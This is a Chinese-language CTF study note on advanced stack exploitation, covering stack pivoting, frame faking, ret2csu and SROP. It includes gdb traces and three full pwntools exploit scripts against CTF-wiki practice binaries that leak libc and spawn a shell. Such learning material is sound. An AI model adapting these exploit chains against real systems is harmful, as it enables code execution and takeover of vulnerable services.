栈 进阶利用
栈迁移
这是一种适用于能够劫持栈指针情况下的攻击手段,一般是由于缓冲区溢出不够长,没法构造出足够长度的ROP链,通过栈迁移来改变SP指针的指向位置。从而能够实现漏洞利用。
一般我们需要的控制栈指针的 Gadget 如下:
pop rsp/esp
在ret2csu中,为了控制5种寄存器所以需要这种gadget
gef➤ x/7i 0x000000000040061a
0x40061a <__libc_csu_init+90>: pop rbx
0x40061b <__libc_csu_init+91>: pop rbp
0x40061c <__libc_csu_init+92>: pop r12
0x40061e <__libc_csu_init+94>: pop r13
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
gef➤ x/7i 0x000000000040061d
0x40061d <__libc_csu_init+93>: pop rsp
0x40061e <__libc_csu_init+94>: pop r13
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
对于 pop rbx这个 opcode通过偏移就让他变成了 pop rsp这种gadget
使用wiki上例题来演示
很明显 只能多溢出14字节。
保护全关。输入shellcode后,我们希望esp能从shellcode开始执行,也就是我们相当于要对 esp 进行操作,使其指向 shellcode 处,并且直接控制程序跳转至 esp 处。那下面就是找控制程序跳转到 esp 处的 gadgets 了。
利用这个跳转jmp esp ,来执行shellcode。也就是先将esp-0x28 然后jmp esp从而执行。
跟一下debug
这里先到溢出跳转的这里:
此时esp指向的是 0xff81ba0c —▸ 0x8048504 (hint+7) ◂— jmp esp
执行了 jmp esp之后。
esp 0xff81ba10 —▸ 0xff28ec83 ◂— 0x0
此时ESP指向的地址也变为存储函数返回指令+4位置处的地址。
也就是指向了 0xff81ba0c+0x4 设置这里为返回地址,然后开始执行
sub esp,0x28
指向了shellcode的 起始地址。然后jmp esp 将EIP指向了shellcode起始地址。然后开始执行。从而getshell
frame faking
虚构栈帧来劫持执行流。一般溢出是可以控制ebp和eip的。frame faking是同时控制ebp和eip,在控制程序执行流的同时,改变程序栈帧位置。
一般通过
buffer padding|fake ebp|leave ret addr|
- 函数的返回地址被我们覆盖为执行 leave ret 的地址,这就表明了函数在正常执行完自己的 leave ret 后,还会再次执行一次 leave ret。
- 其中 fake ebp 为我们构造的栈帧的基地址,需要注意的是这里是一个地址。一般来说我们构造的假的栈帧如下
fake ebp
|
v
ebp2|target function addr|leave ret addr|arg1|arg2
这里我们的 fake ebp 指向 ebp2,即它为 ebp2 所在的地址。通常来说,这里都是我们能够控制的可读的内容。
常见intel 指令集中 入口点以:
PUSH ebp
mov ebp,esp 来实现将栈顶和栈底指针指向固定位置。
出口点
leave
ret #pop eip 弹出栈顶元素做为下一个执行地址
leave指令是可以被分解为:
mov esp,ebp
pop ebp
一般在存在栈溢出漏洞程序在leave的时候 首先Mov esp,ebp 会将esp指向当前栈溢出漏洞的ebp地址处。
pop ebp会将栈中存放的fake ebp赋值给ebp.ebp=>fake ebp2
执行ret 指令 会再次执行 leave ret
mov esp ebp.就是将 esp指向了fake ebp2 。然后pop ebp 将ebp设置为fake ebp2 的值。esp也就指向了目标函数。
然后执行ret 指令。
程序执行target func. push ebp.将fake ebp2压入栈内。mov ebp,esp 可以将ebp指向当前的及地址。
要求我们要有一块可写内存 且知道该内存的地址。
详细调一下wiki的这道题。
这里开始输入。然后溢出 伪造fake ebp 为栈起始地址。返回地址为 leave_ret
leave过后rbp的值指向我们传入的Fake rbp,rsp的值指向原rbp位置并向下走一帧。
第一次ret过后 rbp变为fake rbp。rsp正常向下一帧。
然后再一次leave ret。
leave
rbp 变为fake rbp所指向的值,也就是栈上传入的第一个参数11111111,rsp指向了 原Rbp位置,并向下一帧,也就是 11111111的下一个位置,我们找到的pop_rdi gadget。然后就是正常的ret2libc了。
leak出libc后返回main函数,第二次栈的整体位置照第一次下降了0x30,所以第二次伪造的fake rbp要照第一次低0x30。。。这里还不太懂 准备问问别人了。。hh
官方给的exp 理解并写完了。官方用的execve 。我这里用的system。一个意思了。
from pwn import *
elf=ELF("./over.over")
context.arch='amd64'
p=process("./over.over")
libc=elf.libc
context.log_level='debug'
p.recvuntil(">")
p.send("a"*80)
stack_addr=u64(p.recvuntil("\x7f")[-6:].ljust(8,'\x00'))-0x70
print hex(stack_addr)
pop_rdi=0x400793
rukou=0x400676
lev_ret=0x4006be
p.recvuntil(">")
gdb.attach(p,"b *0x4006B9")
payload1=flat(['11111111', 0x400793, elf.got['puts'], elf.plt['puts'], 0x400676, (80 - 40) * '1', stack_addr, 0x4006be])
p.send(payload1)
libc.address=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['puts']
print hex(libc.address)
p.recvuntil(">")
#gdb.attach(p,"b *0x4006B9")
payload2=flat(['11111111',pop_rdi,libc.search("/bin/sh").next(),libc.sym['system'],0xdeadbeef,(80-40)*'1',stack_addr-0x30,0x4006be])
p.send(payload2)
p.interactive()
patrial Overwrite
在PIE开启的情况下 或者无法直接leak libc的情况下。如果有可以利用的 固定偏移的gadget 可以通过爆破低字节来实现访问或者利用。一般爆破半字节或者一字节还是比较客观的。。。
ret2csu
ret2csu是对寄存器利用,寻找可执行gadget的时候,libc的加载部分:__libc_csu_init 有如下对寄存器操作的大段代码 :
.text:00000000004005A0 ; void _libc_csu_init(void)
.text:00000000004005A0 public __libc_csu_init
.text:00000000004005A0 __libc_csu_init proc near ; DATA XREF: _start+16↑o
.text:00000000004005A0
.text:00000000004005A0 var_30 = qword ptr -30h
.text:00000000004005A0 var_28 = qword ptr -28h
.text:00000000004005A0 var_20 = qword ptr -20h
.text:00000000004005A0 var_18 = qword ptr -18h
.text:00000000004005A0 var_10 = qword ptr -10h
.text:00000000004005A0 var_8 = qword ptr -8
.text:00000000004005A0
.text:00000000004005A0 ; __unwind {
.text:00000000004005A0 mov [rsp+var_28], rbp
.text:00000000004005A5 mov [rsp+var_20], r12
.text:00000000004005AA lea rbp, cs:600E24h
.text:00000000004005B1 lea r12, cs:600E24h
.text:00000000004005B8 mov [rsp+var_18], r13
.text:00000000004005BD mov [rsp+var_10], r14
.text:00000000004005C2 mov [rsp+var_8], r15
.text:00000000004005C7 mov [rsp+var_30], rbx
.text:00000000004005CC sub rsp, 38h
.text:00000000004005D0 sub rbp, r12
.text:00000000004005D3 mov r13d, edi
.text:00000000004005D6 mov r14, rsi
.text:00000000004005D9 sar rbp, 3
.text:00000000004005DD mov r15, rdx
.text:00000000004005E0 call _init_proc
.text:00000000004005E5 test rbp, rbp
.text:00000000004005E8 jz short loc_400606
.text:00000000004005EA xor ebx, ebx
.text:00000000004005EC nop dword ptr [rax+00h]
.text:00000000004005F0
.text:00000000004005F0 loc_4005F0: ; CODE XREF: __libc_csu_init+64↓j
.text:00000000004005F0 mov rdx, r15
.text:00000000004005F3 mov rsi, r14
.text:00000000004005F6 mov edi, r13d
.text:00000000004005F9 call qword ptr [r12+rbx*8]
.text:00000000004005FD add rbx, 1
.text:0000000000400601 cmp rbx, rbp
.text:0000000000400604 jnz short loc_4005F0
.text:0000000000400606
.text:0000000000400606 loc_400606: ; CODE XREF: __libc_csu_init+48↑j
.text:0000000000400606 mov rbx, [rsp+38h+var_30]
.text:000000000040060B mov rbp, [rsp+38h+var_28]
.text:0000000000400610 mov r12, [rsp+38h+var_20]
.text:0000000000400615 mov r13, [rsp+38h+var_18]
.text:000000000040061A mov r14, [rsp+38h+var_10]
.text:000000000040061F mov r15, [rsp+38h+var_8]
.text:0000000000400624 add rsp, 38h
.text:0000000000400628 retn
.text:0000000000400628 ; } // starts at 4005A0
.text:0000000000400628 __libc_csu_init endp
我们可以看到很多对于寄存器的操作。其中主要有3种利用方法:
- 从0x0000000000400606到0x0000000000400628这段地址,可以利用栈溢出构造栈上数据来控制rbx、rbp、r12、r13、r14、r15 寄存器的数据,并且最后还有ret的返回操作,可以通过溢出将ret原有的地址覆盖成我们想要跳转的地址
- 从0x00000000004005F0到0x00000000004005F9这段地址,可以将r15中的值赋给rdx,将r14中的值赋给rsi,将r13中的值赋给edi(其实这里赋给的是rdi的低32位,高32位寄存器的值为0,所以可以达到控制rdi的目的,但是只能控制低32位),这三个寄存器就是0x64函数调用中的前三个参数,如果需要用到含有三个参数的函数的时候,那么这一段gadget就很有用,最后又一个call命令,call命令指向的地址是由r12寄存器和rbx寄存器联合控制的,那么可以通过控制r12和rbx来call到我们想要到达的地址
- 从0x00000000004005FD到0x0000000000400604这段地址,可以控制rbx和rbp 的之间的关系为 rbx+1 = rbp,这样我们就不会执行 loc_4005F0,进而可以继续执行下面的汇编程序。这里我们可以简单的设置 rbx=0,rbp=1
例题用了 wiki例题:
直接给了一个栈溢出 但是没有任何形式的泄露。 我们希望能够write 来 leak libc.
ssize_t write (int fd, const void * buf, size_t count)
write函数格式如下:我们需要如下设置
----------------------------------
| 寄存器和指令 | 存储数据 |
----------------------------------
| rdi | 1 | rdi存放第一参数,标准输出文件描述符:fd = 1
----------------------------------
| rsi | write_got | rsi存放第二参数,需要输出的内存地址:*buf = write_got
----------------------------------
| rdx | 8 | rdx存放第三参数,输出字节数:count = 8
----------------------------------
| call | write_got | call write_got调用write函数
----------------------------------
通过这段gadget就可以操控这些寄存器。
.text:00000000004005F0 mov rdx, r15
.text:00000000004005F3 mov rsi, r14
.text:00000000004005F6 mov edi, r13d
.text:00000000004005F9 call qword ptr [r12+rbx*8]
那么这些用来赋值的寄存器应该如何控制。如果想要在rdx、rsi和edi中部署参数,首先需要在r15中部署count,在r14中部署buf,在r13中部署fd。并且如果想要在最后使用call命令调用write_got地址,那么就需要对r12和rbx做出调整,如果将write_got地址部署在r12中,并且将0部署在rbx中,那么r12+rbx8=write_got + 08=write_got,就可以达到call write_got的目的了,所以需要补充的条件如下
-----------------------------------
| 寄存器 | 存储数据 |
+---------------------------------+
| rbx | 0 |
+---------------------------------+
| r12 | write_got |
+---------------------------------+
| r13 | 1 |
+---------------------------------+
| r14 | write_got |
+---------------------------------+
| r15 | 8 |
-----------------------------------
那么就在这里:
.text:0000000000400606 mov rbx, [rsp+38h+var_30]
.text:000000000040060B mov rbp, [rsp+38h+var_28]
.text:0000000000400610 mov r12, [rsp+38h+var_20]
.text:0000000000400615 mov r13, [rsp+38h+var_18]
.text:000000000040061A mov r14, [rsp+38h+var_10]
.text:000000000040061F mov r15, [rsp+38h+var_8]
.text:0000000000400624 add rsp, 38h
.text:0000000000400628 retn
在这段gadget的结尾,即0x0000000000400628位置为ret跳转,那么正好可以接到前面给第一、二、三参数寄存器赋值的gadget。也就是执行write函数以及其内部的三个参数。需要注意的是从0x0000000000400606到0x000000000040061F,给bx、bp、12、13、14、15寄存器赋值的时候都是使用sp指针偏移实现的,所以还需要考虑起始rbx赋值时rsp+38h+var_30后面加的var_30的值是多少,这个时候就需要调试了。不同libc下的偏移可能不同。
我这里就不用做任何调整了,直接就可以开始赋值了。 然后赋值之后他会由于这个return,return到我们的
.text:00000000004005F0 loc_4005F0: ; CODE XREF: __libc_csu_init+64↓j
.text:00000000004005F0 mov rdx, r15
.text:00000000004005F3 mov rsi, r14
.text:00000000004005F6 mov edi, r13d
.text:00000000004005F9 call qword ptr [r12+rbx*8]
.text:00000000004005FD add rbx, 1
.text:0000000000400601 cmp rbx, rbp
.text:0000000000400604 jnz short loc_4005F0
进行寄存器设置 并且call 函数。这样就可以执行我们所指定的任意函数了。
那么这里获得了libc之后。他就会继续执行。并且我们提前设置过rbx和rbp 所以不会跳转。继续执行。
.text:0000000000400606 loc_400606: ; CODE XREF: __libc_csu_init+48↑j
.text:0000000000400606 mov rbx, [rsp+38h+var_30]
.text:000000000040060B mov rbp, [rsp+38h+var_28]
.text:0000000000400610 mov r12, [rsp+38h+var_20]
.text:0000000000400615 mov r13, [rsp+38h+var_18]
.text:000000000040061A mov r14, [rsp+38h+var_10]
.text:000000000040061F mov r15, [rsp+38h+var_8]
.text:0000000000400624 add rsp, 38h
.text:0000000000400628 retn
这部分。最后return处让他能够return到main函数即可。
然后获取libc之后 直接开始执行system 或者其他即可。。。 但这里比较大的问题是 只能控制edi,
所以考虑得在低地址写/bin/bash. 利用bss段来写。然后执行。
那么用csu再执行一次 read 和 system即可。
#encoding:utf-8
from pwn import *
from time import sleep
p=process("./level5")
elf=ELF("./level5")
csu_front_gadget = 0x00000000004005F0
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
elf_bss=elf.bss()
#_libc_csu_init函数中位置靠前的gadget,即向rdi、rsi、rdx寄存器mov的gadget
csu_behind_gadget = 0x0000000000400606
def csu(fill, rbx, rbp, r12, r13, r14, r15, main):
#fill为填充sp指针偏移造成8字节空缺
#rbx, rbp, r12, r13, r14, r15皆为pop参数
#main为main函数地址
payload = 'badecode' * 17 #0x80+8个字节填满栈空间至ret返回指令
payload += p64(csu_behind_gadget)
payload += p64(fill) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_front_gadget)
payload += 'badecode' * 7 #0x38个字节填充平衡堆栈造成的空缺
payload += p64(main)
p.send(payload) #发送payload
sleep(1) #暂停等待接收
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
context.log_level='debug'
context.arch='amd64'
p.recvuntil("Hello, World\n")
gdb.attach(p,'b *0x4005f9')
csu(0,0,1,elf.got['write'],1,elf.got['write'],8,0x400564)
libc.address=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['write']
print "libc-address=>"+hex(libc.address)
p.recvuntil("Hello, World\n")
csu(0,0,1,elf.got['read'],0,elf_bss,16,0x400564)
p.send(p64(libc.sym['execve'])+'/bin/sh\x00')
p.recvuntil("Hello, World\n")
csu(0,0, 1, elf.bss(),elf.bss()+8, 0, 0, 0x400564)
p.interactive()
ret2dlresolve
srop
srop的利用初衷是因为signal机制。
signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用 kill 来发送软中断信号。一般来说,信号机制常见的步骤如下图所示:
内核向某个进程发送 signal 机制,该进程会被暂时挂起,进入内核态。
内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 Signal Frame。需要注意的是,这一部分是在用户进程的地址空间的。之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。
对于 signal Frame 来说,会因为架构的不同而有所区别,这里给出分别给出 x86 以及 x64 的 sigcontext
struct sigcontext
{
unsigned short gs, __gsh;
unsigned short fs, __fsh;
unsigned short es, __esh;
unsigned short ds, __dsh;
unsigned long edi;
unsigned long esi;
unsigned long ebp;
unsigned long esp;
unsigned long ebx;
unsigned long edx;
unsigned long ecx;
unsigned long eax;
unsigned long trapno;
unsigned long err;
unsigned long eip;
unsigned short cs, __csh;
unsigned long eflags;
unsigned long esp_at_signal;
unsigned short ss, __ssh;
struct _fpstate * fpstate;
unsigned long oldmask;
unsigned long cr2;
};
struct _fpstate
{
/* FPU environment matching the 64-bit FXSAVE layout. */
__uint16_t cwd;
__uint16_t swd;
__uint16_t ftw;
__uint16_t fop;
__uint64_t rip;
__uint64_t rdp;
__uint32_t mxcsr;
__uint32_t mxcr_mask;
struct _fpxreg _st[8];
struct _xmmreg _xmm[16];
__uint32_t padding[24];
};
struct sigcontext
{
__uint64_t r8;
__uint64_t r9;
__uint64_t r10;
__uint64_t r11;
__uint64_t r12;
__uint64_t r13;
__uint64_t r14;
__uint64_t r15;
__uint64_t rdi;
__uint64_t rsi;
__uint64_t rbp;
__uint64_t rbx;
__uint64_t rdx;
__uint64_t rax;
__uint64_t rcx;
__uint64_t rsp;
__uint64_t rip;
__uint64_t eflags;
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short __pad0;
__uint64_t err;
__uint64_t trapno;
__uint64_t oldmask;
__uint64_t cr2;
__extension__ union
{
struct _fpstate * fpstate;
__uint64_t __fpstate_word;
};
__uint64_t __reserved1 [8];
};
signal handler 返回后,内核为执行 sigreturn 系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新 pop 回对应的寄存器,最后恢复进程的执行。其中,32 位的 sigreturn 的调用号为 77,64 位的系统调用号为 15。
攻击原理是 SignalFrame是保存在用户空间中的。我们是可以对其进行一系列操作的。但是需要注意的是:Signal Frame 被保存在用户的地址空间中,所以用户是可以读写的。
由于内核与信号处理程序无关 (kernel agnostic about signal handlers),它并不会去记录这个 signal 对应的 Signal Frame,所以当执行 sigreturn 系统调用时,此时的 Signal Frame 并不一定是之前内核为用户进程保存的 Signal Frame。
那么每当我们可以控制栈内容就可以伪造一个 Signal Frame。如下图所示,这里以 64 位为例子,给出 Signal Frame 更加详细的信息
当系统执行完 sigreturn 系统调用之后,会执行一系列的 pop 指令以便于恢复相应寄存器的值,当执行到 rip 时,就会将程序执行流指向 syscall 地址,根据相应寄存器的值,此时,便会得到一个 shell。
同时它也可以执行很多函数 从而打出各种利用链。。
控制栈指针。
把原来 rip 指向的syscall gadget 换成syscall; ret gadget。
需要满足的条件如下:
可以通过栈溢出来控制栈的内容
需要知道相应的地址
"/bin/sh"
Signal Frame
syscall
sigreturn
需要有够大的空间来塞下整个 sigal frame
此外,关于 sigreturn 以及 syscall;ret 这两个 gadget 在上面并没有提及。提出该攻击的论文作者发现了这些 gadgets 出现的某些地址:
值得一说的是,对于 sigreturn 系统调用来说,在 64 位系统中,sigreturn 系统调用对应的系统调用号为 15,只需要 RAX=15,并且执行 syscall 即可实现调用 syscall 调用。而 RAX 寄存器的值又可以通过控制某个函数的返回值来间接控制,比如说 read 函数的返回值为读取的字节数。
例题是ctfwiki的
这里并没有sigreturn来触发signal实现srop。所以通过read 字节数返回值,为读取长度。重要思路如下
- 通过控制 read 读取的字符数来设置 RAX 寄存器的值,从而执行 sigreturn
- 通过 syscall 执行 execve("/bin/sh",0,0) 来获取 shell。
from pwn import *
import time
p=process("./smallest")
elf=ELF("./smallest")
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
context.log_level='debug'
context.arch='amd64'
syscall_ret=0x004000BE
start_addr=0x004000B0
#gdb.attach(p,'b *0x004000B0')
payload=p64(start_addr)*3
p.send(payload)
pause()
#gdb.attach(p1'b *0x004000B0')
p.send('\xb3')
pause()
stack_addr=u64(p.recv()[8:16])
print hex(stack_addr)
sigframe=SigreturnFrame()
sigframe.rax=constants.SYS_read
sigframe.rdi=0
sigframe.rsi=stack_addr
sigframe.rdx=0x400
sigframe.rsp=stack_addr
sigframe.rip=syscall_ret
payload=p64(start_addr)+'a'*8+str(sigframe)
pause()
p.send(payload)
pause()
sigreturn=p64(syscall_ret)+'b'*7
p.send(sigreturn)
pause()
sigframe=SigreturnFrame()
sigframe.rax=constants.SYS_execve
sigframe.rdi=stack_addr+0x120
sigframe.rsi=0x0
sigframe.rdx=0x0
sigframe.rsp=stack_addr
sigframe.rip=syscall_ret
frame_payload=p64(start_addr)+'b'*8+str(sigframe)
payload=frame_payload+(0x120-len(frame_payload))*'\x00'+'/bin/sh\x00'
p.send(payload)
pause()
p.send(sigreturn)
pause()
p.interactive()